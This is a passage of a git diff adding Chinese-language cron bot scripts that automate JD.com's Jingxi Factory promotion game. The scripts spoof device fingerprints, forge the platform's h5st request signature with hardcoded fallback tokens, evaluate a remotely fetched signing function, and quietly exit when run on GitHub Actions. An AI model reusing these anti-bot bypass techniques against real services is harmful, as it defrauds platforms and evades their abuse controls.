RegExp.$1.length ? l[k] : ("".concat(a) + l[k]).substr("".concat(l[k]).length)) + } + } + return d; +} + +async function requestAlgo() { + $.fingerprint = await generateFp(); + const options = { + "url": `https://cactus.jd.com/request_algo?g_ty=ajax`, + "headers": { + 'Authority': 'cactus.jd.com', + 'Pragma': 'no-cache', + 'Cache-Control': 'no-cache', + 'Accept': 'application/json', + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', + 'Content-Type': 'application/json', + 'Origin': 'https://st.jingxi.com', + 'Sec-Fetch-Site': 'cross-site', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://st.jingxi.com/', + 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' + }, + 'body': JSON.stringify({ + "version": "1.0", + "fp": $.fingerprint, + "appId": $.appId.toString(), + "timestamp": Date.now(), + "platform": "web", + "expandParams": "" + }) + } + new Promise(async resolve => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`request_algo 签名参数API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data); + data = JSON.parse(data); + if (data['status'] === 200) { + $.token = data.data.result.tk; + let enCryptMethodJDString = data.data.result.algo; + if (enCryptMethodJDString) $.enCryptMethodJD = new Function(`return ${enCryptMethodJDString}`)(); + console.log(`获取签名参数成功!`) + console.log(`fp: ${$.fingerprint}`) + console.log(`token: ${$.token}`) + console.log(`enCryptMethodJD: ${enCryptMethodJDString}`) + } else { + console.log(`fp: ${$.fingerprint}`) + console.log('request_algo 签名参数API请求失败:') + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function decrypt(time, stk, type, url) { + stk = stk || (url ? getUrlData(url, '_stk') : '') + if (stk) { + const timestamp = new Date(time).Format("yyyyMMddhhmmssSSS"); + let hash1 = ''; + if ($.fingerprint && $.token && $.enCryptMethodJD) { + hash1 = $.enCryptMethodJD($.token, $.fingerprint.toString(), timestamp.toString(), $.appId.toString(), $.CryptoJS).toString($.CryptoJS.enc.Hex); + } else { + const random = '5gkjB6SpmC9s'; + $.token = `tk01wcdf61cb3a8nYUtHcmhSUFFCfddDPRvKvYaMjHkxo6Aj7dhzO+GXGFa9nPXfcgT+mULoF1b1YIS1ghvSlbwhE0Xc`; + $.fingerprint = 5287160221454703; + const str = `${$.token}${$.fingerprint}${timestamp}${$.appId}${random}`; + hash1 = $.CryptoJS.SHA512(str, $.token).toString($.CryptoJS.enc.Hex); + } + let st = ''; + stk.split(',').map((item, index) => { + st += `${item}:${getUrlData(url, item)}${index === stk.split(',').length -1 ? '' : '&'}`; + }) + const hash2 = $.CryptoJS.HmacSHA256(st, hash1.toString()).toString($.CryptoJS.enc.Hex); + // console.log(`\nst:${st}`) + // console.log(`h5st:${["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2)].join(";")}\n`) + return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2)].join(";")) + } else { + return '20210318144213808;8277529360925161;10001;tk01w952a1b73a8nU0luMGtBanZTHCgj0KFVwDa4n5pJ95T/5bxO/m54p4MtgVEwKNev1u/BUjrpWAUMZPW0Kz2RWP8v;86054c036fe3bf0991bd9a9da1a8d44dd130c6508602215e50bb1e385326779d' + } +} + +/** + * 获取url参数值 + * @param url + * @param name + * @returns {string} + */ +function getUrlData(url, name) { + if (typeof URL !== "undefined") { + let urls = new URL(url); + let data = urls.searchParams.get(name); + return data ? data : ''; + } else { + const query = url.match(/\?.*/)[0].substring(1) + const vars = query.split('&') + for (let i = 0; i < vars.length; i++) { + const pair = vars[i].split('=') + if (pair[0] === name) { + // return pair[1]; + return vars[i].substr(vars[i].indexOf('=') + 1); + } + } + return '' + } +} +/** + * 模拟生成 fingerprint + * @returns {string} + */ +function generateFp() { + let e = "0123456789"; + let a = 13; + let i = ''; + for (; a--; ) + i += e[Math.random() * e.length | 0]; + return (i + Date.now()).slice(0,16) +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_dreamFactory_help.js b/jd_dreamFactory_help.js new file mode 100644 index 0000000..1eeb33b --- /dev/null +++ b/jd_dreamFactory_help.js @@ -0,0 +1,644 @@ +/* +京喜工厂招工互助 +更新时间:2021-8-20 +修复做任务、收集电力出现火爆,不能完成任务,重新计算h5st验证 +参考自 :https://www.orzlee.com/web-development/2021/03/03/lxk0301-jingdong-signin-scriptjingxi-factory-solves-the-problem-of-unable-to-signin.html +活动入口:京东APP-游戏与互动-查看更多-京喜工厂 +或者: 京东APP首页搜索 "玩一玩" ,造物工厂即可 + +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京喜工厂招工互助 +5 6,18 * * * jd_dreamFactory_help.js, tag=京喜工厂招工互助, img-url=https://github.com/58xinian/icon/raw/master/jdgc.png, enabled=true + +================Loon============== +[Script] +cron "5 6,18 * * *" script-path=jd_dreamFactory_help.js,tag=京喜工厂招工互助 + +===============Surge================= +京喜工厂招工互助 = type=cron,cronexp="5 6,18 * * *",wake-system=1,timeout=3600,script-path=jd_dreamFactory_help.js + +============小火箭========= +京喜工厂招工互助 = type=cron,script-path=jd_dreamFactory_help.js, cronexpr="5 6,18 * * *", timeout=3600, enable=true + + */ +// prettier-ignore +!function (t, r) { "object" == typeof exports ? module.exports = exports = r() : "function" == typeof define && define.amd ? define([], r) : t.CryptoJS = r() }(this, function () { + var t = t || function (t, r) { var e = Object.create || function () { function t() { } return function (r) { var e; return t.prototype = r, e = new t, t.prototype = null, e } }(), i = {}, n = i.lib = {}, o = n.Base = function () { return { extend: function (t) { var r = e(this); return t && r.mixIn(t), r.hasOwnProperty("init") && this.init !== r.init || (r.init = function () { r.$super.init.apply(this, arguments) }), r.init.prototype = r, r.$super = this, r }, create: function () { var t = this.extend(); return t.init.apply(t, arguments), t }, init: function () { }, mixIn: function (t) { for (var r in t) t.hasOwnProperty(r) && (this[r] = t[r]); t.hasOwnProperty("toString") && (this.toString = t.toString) }, clone: function () { return this.init.prototype.extend(this) } } }(), s = n.WordArray = o.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 4 * t.length }, toString: function (t) { return (t || c).stringify(this) }, concat: function (t) { var r = this.words, e = t.words, i = this.sigBytes, n = t.sigBytes; if (this.clamp(), i % 4) for (var o = 0; o < n; o++) { var s = e[o >>> 2] >>> 24 - o % 4 * 8 & 255; r[i + o >>> 2] |= s << 24 - (i + o) % 4 * 8 } else for (var o = 0; o < n; o += 4)r[i + o >>> 2] = e[o >>> 2]; return this.sigBytes += n, this }, clamp: function () { var r = this.words, e = this.sigBytes; r[e >>> 2] &= 4294967295 << 32 - e % 4 * 8, r.length = t.ceil(e / 4) }, clone: function () { var t = o.clone.call(this); return t.words = this.words.slice(0), t }, random: function (r) { for (var e, i = [], n = function (r) { var r = r, e = 987654321, i = 4294967295; return function () { e = 36969 * (65535 & e) + (e >> 16) & i, r = 18e3 * (65535 & r) + (r >> 16) & i; var n = (e << 16) + r & i; return n /= 4294967296, n += .5, n * (t.random() > .5 ? 1 : -1) } }, o = 0; o < r; o += 4) { var a = n(4294967296 * (e || t.random())); e = 987654071 * a(), i.push(4294967296 * a() | 0) } return new s.init(i, r) } }), a = i.enc = {}, c = a.Hex = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push((o >>> 4).toString(16)), i.push((15 & o).toString(16)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i += 2)e[i >>> 3] |= parseInt(t.substr(i, 2), 16) << 24 - i % 8 * 4; return new s.init(e, r / 2) } }, h = a.Latin1 = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 2] |= (255 & t.charCodeAt(i)) << 24 - i % 4 * 8; return new s.init(e, r) } }, l = a.Utf8 = { stringify: function (t) { try { return decodeURIComponent(escape(h.stringify(t))) } catch (t) { throw new Error("Malformed UTF-8 data") } }, parse: function (t) { return h.parse(unescape(encodeURIComponent(t))) } }, f = n.BufferedBlockAlgorithm = o.extend({ reset: function () { this._data = new s.init, this._nDataBytes = 0 }, _append: function (t) { "string" == typeof t && (t = l.parse(t)), this._data.concat(t), this._nDataBytes += t.sigBytes }, _process: function (r) { var e = this._data, i = e.words, n = e.sigBytes, o = this.blockSize, a = 4 * o, c = n / a; c = r ? t.ceil(c) : t.max((0 | c) - this._minBufferSize, 0); var h = c * o, l = t.min(4 * h, n); if (h) { for (var f = 0; f < h; f += o)this._doProcessBlock(i, f); var u = i.splice(0, h); e.sigBytes -= l } return new s.init(u, l) }, clone: function () { var t = o.clone.call(this); return t._data = this._data.clone(), t }, _minBufferSize: 0 }), u = (n.Hasher = f.extend({ cfg: o.extend(), init: function (t) { this.cfg = this.cfg.extend(t), this.reset() }, reset: function () { f.reset.call(this), this._doReset() }, update: function (t) { return this._append(t), this._process(), this }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, blockSize: 16, _createHelper: function (t) { return function (r, e) { return new t.init(e).finalize(r) } }, _createHmacHelper: function (t) { return function (r, e) { return new u.HMAC.init(t, e).finalize(r) } } }), i.algo = {}); return i }(Math); return function () { function r(t, r, e) { for (var i = [], o = 0, s = 0; s < r; s++)if (s % 4) { var a = e[t.charCodeAt(s - 1)] << s % 4 * 2, c = e[t.charCodeAt(s)] >>> 6 - s % 4 * 2; i[o >>> 2] |= (a | c) << 24 - o % 4 * 8, o++ } return n.create(i, o) } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Base64 = { stringify: function (t) { var r = t.words, e = t.sigBytes, i = this._map; t.clamp(); for (var n = [], o = 0; o < e; o += 3)for (var s = r[o >>> 2] >>> 24 - o % 4 * 8 & 255, a = r[o + 1 >>> 2] >>> 24 - (o + 1) % 4 * 8 & 255, c = r[o + 2 >>> 2] >>> 24 - (o + 2) % 4 * 8 & 255, h = s << 16 | a << 8 | c, l = 0; l < 4 && o + .75 * l < e; l++)n.push(i.charAt(h >>> 6 * (3 - l) & 63)); var f = i.charAt(64); if (f) for (; n.length % 4;)n.push(f); return n.join("") }, parse: function (t) { var e = t.length, i = this._map, n = this._reverseMap; if (!n) { n = this._reverseMap = []; for (var o = 0; o < i.length; o++)n[i.charCodeAt(o)] = o } var s = i.charAt(64); if (s) { var a = t.indexOf(s); a !== -1 && (e = a) } return r(t, e, n) }, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" } }(), function (r) { function e(t, r, e, i, n, o, s) { var a = t + (r & e | ~r & i) + n + s; return (a << o | a >>> 32 - o) + r } function i(t, r, e, i, n, o, s) { var a = t + (r & i | e & ~i) + n + s; return (a << o | a >>> 32 - o) + r } function n(t, r, e, i, n, o, s) { var a = t + (r ^ e ^ i) + n + s; return (a << o | a >>> 32 - o) + r } function o(t, r, e, i, n, o, s) { var a = t + (e ^ (r | ~i)) + n + s; return (a << o | a >>> 32 - o) + r } var s = t, a = s.lib, c = a.WordArray, h = a.Hasher, l = s.algo, f = []; !function () { for (var t = 0; t < 64; t++)f[t] = 4294967296 * r.abs(r.sin(t + 1)) | 0 }(); var u = l.MD5 = h.extend({ _doReset: function () { this._hash = new c.init([1732584193, 4023233417, 2562383102, 271733878]) }, _doProcessBlock: function (t, r) { for (var s = 0; s < 16; s++) { var a = r + s, c = t[a]; t[a] = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8) } var h = this._hash.words, l = t[r + 0], u = t[r + 1], d = t[r + 2], v = t[r + 3], p = t[r + 4], _ = t[r + 5], y = t[r + 6], g = t[r + 7], B = t[r + 8], w = t[r + 9], k = t[r + 10], S = t[r + 11], m = t[r + 12], x = t[r + 13], b = t[r + 14], H = t[r + 15], z = h[0], A = h[1], C = h[2], D = h[3]; z = e(z, A, C, D, l, 7, f[0]), D = e(D, z, A, C, u, 12, f[1]), C = e(C, D, z, A, d, 17, f[2]), A = e(A, C, D, z, v, 22, f[3]), z = e(z, A, C, D, p, 7, f[4]), D = e(D, z, A, C, _, 12, f[5]), C = e(C, D, z, A, y, 17, f[6]), A = e(A, C, D, z, g, 22, f[7]), z = e(z, A, C, D, B, 7, f[8]), D = e(D, z, A, C, w, 12, f[9]), C = e(C, D, z, A, k, 17, f[10]), A = e(A, C, D, z, S, 22, f[11]), z = e(z, A, C, D, m, 7, f[12]), D = e(D, z, A, C, x, 12, f[13]), C = e(C, D, z, A, b, 17, f[14]), A = e(A, C, D, z, H, 22, f[15]), z = i(z, A, C, D, u, 5, f[16]), D = i(D, z, A, C, y, 9, f[17]), C = i(C, D, z, A, S, 14, f[18]), A = i(A, C, D, z, l, 20, f[19]), z = i(z, A, C, D, _, 5, f[20]), D = i(D, z, A, C, k, 9, f[21]), C = i(C, D, z, A, H, 14, f[22]), A = i(A, C, D, z, p, 20, f[23]), z = i(z, A, C, D, w, 5, f[24]), D = i(D, z, A, C, b, 9, f[25]), C = i(C, D, z, A, v, 14, f[26]), A = i(A, C, D, z, B, 20, f[27]), z = i(z, A, C, D, x, 5, f[28]), D = i(D, z, A, C, d, 9, f[29]), C = i(C, D, z, A, g, 14, f[30]), A = i(A, C, D, z, m, 20, f[31]), z = n(z, A, C, D, _, 4, f[32]), D = n(D, z, A, C, B, 11, f[33]), C = n(C, D, z, A, S, 16, f[34]), A = n(A, C, D, z, b, 23, f[35]), z = n(z, A, C, D, u, 4, f[36]), D = n(D, z, A, C, p, 11, f[37]), C = n(C, D, z, A, g, 16, f[38]), A = n(A, C, D, z, k, 23, f[39]), z = n(z, A, C, D, x, 4, f[40]), D = n(D, z, A, C, l, 11, f[41]), C = n(C, D, z, A, v, 16, f[42]), A = n(A, C, D, z, y, 23, f[43]), z = n(z, A, C, D, w, 4, f[44]), D = n(D, z, A, C, m, 11, f[45]), C = n(C, D, z, A, H, 16, f[46]), A = n(A, C, D, z, d, 23, f[47]), z = o(z, A, C, D, l, 6, f[48]), D = o(D, z, A, C, g, 10, f[49]), C = o(C, D, z, A, b, 15, f[50]), A = o(A, C, D, z, _, 21, f[51]), z = o(z, A, C, D, m, 6, f[52]), D = o(D, z, A, C, v, 10, f[53]), C = o(C, D, z, A, k, 15, f[54]), A = o(A, C, D, z, u, 21, f[55]), z = o(z, A, C, D, B, 6, f[56]), D = o(D, z, A, C, H, 10, f[57]), C = o(C, D, z, A, y, 15, f[58]), A = o(A, C, D, z, x, 21, f[59]), z = o(z, A, C, D, p, 6, f[60]), D = o(D, z, A, C, S, 10, f[61]), C = o(C, D, z, A, d, 15, f[62]), A = o(A, C, D, z, w, 21, f[63]), h[0] = h[0] + z | 0, h[1] = h[1] + A | 0, h[2] = h[2] + C | 0, h[3] = h[3] + D | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; e[n >>> 5] |= 128 << 24 - n % 32; var o = r.floor(i / 4294967296), s = i; e[(n + 64 >>> 9 << 4) + 15] = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), e[(n + 64 >>> 9 << 4) + 14] = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); for (var a = this._hash, c = a.words, h = 0; h < 4; h++) { var l = c[h]; c[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } return a }, clone: function () { var t = h.clone.call(this); return t._hash = this._hash.clone(), t } }); s.MD5 = h._createHelper(u), s.HmacMD5 = h._createHmacHelper(u) }(Math), function () { var r = t, e = r.lib, i = e.WordArray, n = e.Hasher, o = r.algo, s = [], a = o.SHA1 = n.extend({ _doReset: function () { this._hash = new i.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], a = e[3], c = e[4], h = 0; h < 80; h++) { if (h < 16) s[h] = 0 | t[r + h]; else { var l = s[h - 3] ^ s[h - 8] ^ s[h - 14] ^ s[h - 16]; s[h] = l << 1 | l >>> 31 } var f = (i << 5 | i >>> 27) + c + s[h]; f += h < 20 ? (n & o | ~n & a) + 1518500249 : h < 40 ? (n ^ o ^ a) + 1859775393 : h < 60 ? (n & o | n & a | o & a) - 1894007588 : (n ^ o ^ a) - 899497514, c = a, a = o, o = n << 30 | n >>> 2, n = i, i = f } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + a | 0, e[4] = e[4] + c | 0 }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; return r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = Math.floor(e / 4294967296), r[(i + 64 >>> 9 << 4) + 15] = e, t.sigBytes = 4 * r.length, this._process(), this._hash }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t } }); r.SHA1 = n._createHelper(a), r.HmacSHA1 = n._createHmacHelper(a) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.algo, a = [], c = []; !function () { function t(t) { for (var e = r.sqrt(t), i = 2; i <= e; i++)if (!(t % i)) return !1; return !0 } function e(t) { return 4294967296 * (t - (0 | t)) | 0 } for (var i = 2, n = 0; n < 64;)t(i) && (n < 8 && (a[n] = e(r.pow(i, .5))), c[n] = e(r.pow(i, 1 / 3)), n++), i++ }(); var h = [], l = s.SHA256 = o.extend({ _doReset: function () { this._hash = new n.init(a.slice(0)) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], l = e[5], f = e[6], u = e[7], d = 0; d < 64; d++) { if (d < 16) h[d] = 0 | t[r + d]; else { var v = h[d - 15], p = (v << 25 | v >>> 7) ^ (v << 14 | v >>> 18) ^ v >>> 3, _ = h[d - 2], y = (_ << 15 | _ >>> 17) ^ (_ << 13 | _ >>> 19) ^ _ >>> 10; h[d] = p + h[d - 7] + y + h[d - 16] } var g = a & l ^ ~a & f, B = i & n ^ i & o ^ n & o, w = (i << 30 | i >>> 2) ^ (i << 19 | i >>> 13) ^ (i << 10 | i >>> 22), k = (a << 26 | a >>> 6) ^ (a << 21 | a >>> 11) ^ (a << 7 | a >>> 25), S = u + k + g + c[d] + h[d], m = w + B; u = f, f = l, l = a, a = s + S | 0, s = o, o = n, n = i, i = S + m | 0 } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + s | 0, e[4] = e[4] + a | 0, e[5] = e[5] + l | 0, e[6] = e[6] + f | 0, e[7] = e[7] + u | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; return e[n >>> 5] |= 128 << 24 - n % 32, e[(n + 64 >>> 9 << 4) + 14] = r.floor(i / 4294967296), e[(n + 64 >>> 9 << 4) + 15] = i, t.sigBytes = 4 * e.length, this._process(), this._hash }, clone: function () { var t = o.clone.call(this); return t._hash = this._hash.clone(), t } }); e.SHA256 = o._createHelper(l), e.HmacSHA256 = o._createHmacHelper(l) }(Math), function () { function r(t) { return t << 8 & 4278255360 | t >>> 8 & 16711935 } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Utf16 = o.Utf16BE = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n += 2) { var o = r[n >>> 2] >>> 16 - n % 4 * 8 & 65535; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 1] |= t.charCodeAt(i) << 16 - i % 2 * 16; return n.create(e, 2 * r) } }; o.Utf16LE = { stringify: function (t) { for (var e = t.words, i = t.sigBytes, n = [], o = 0; o < i; o += 2) { var s = r(e[o >>> 2] >>> 16 - o % 4 * 8 & 65535); n.push(String.fromCharCode(s)) } return n.join("") }, parse: function (t) { for (var e = t.length, i = [], o = 0; o < e; o++)i[o >>> 1] |= r(t.charCodeAt(o) << 16 - o % 2 * 16); return n.create(i, 2 * e) } } }(), function () { if ("function" == typeof ArrayBuffer) { var r = t, e = r.lib, i = e.WordArray, n = i.init, o = i.init = function (t) { if (t instanceof ArrayBuffer && (t = new Uint8Array(t)), (t instanceof Int8Array || "undefined" != typeof Uint8ClampedArray && t instanceof Uint8ClampedArray || t instanceof Int16Array || t instanceof Uint16Array || t instanceof 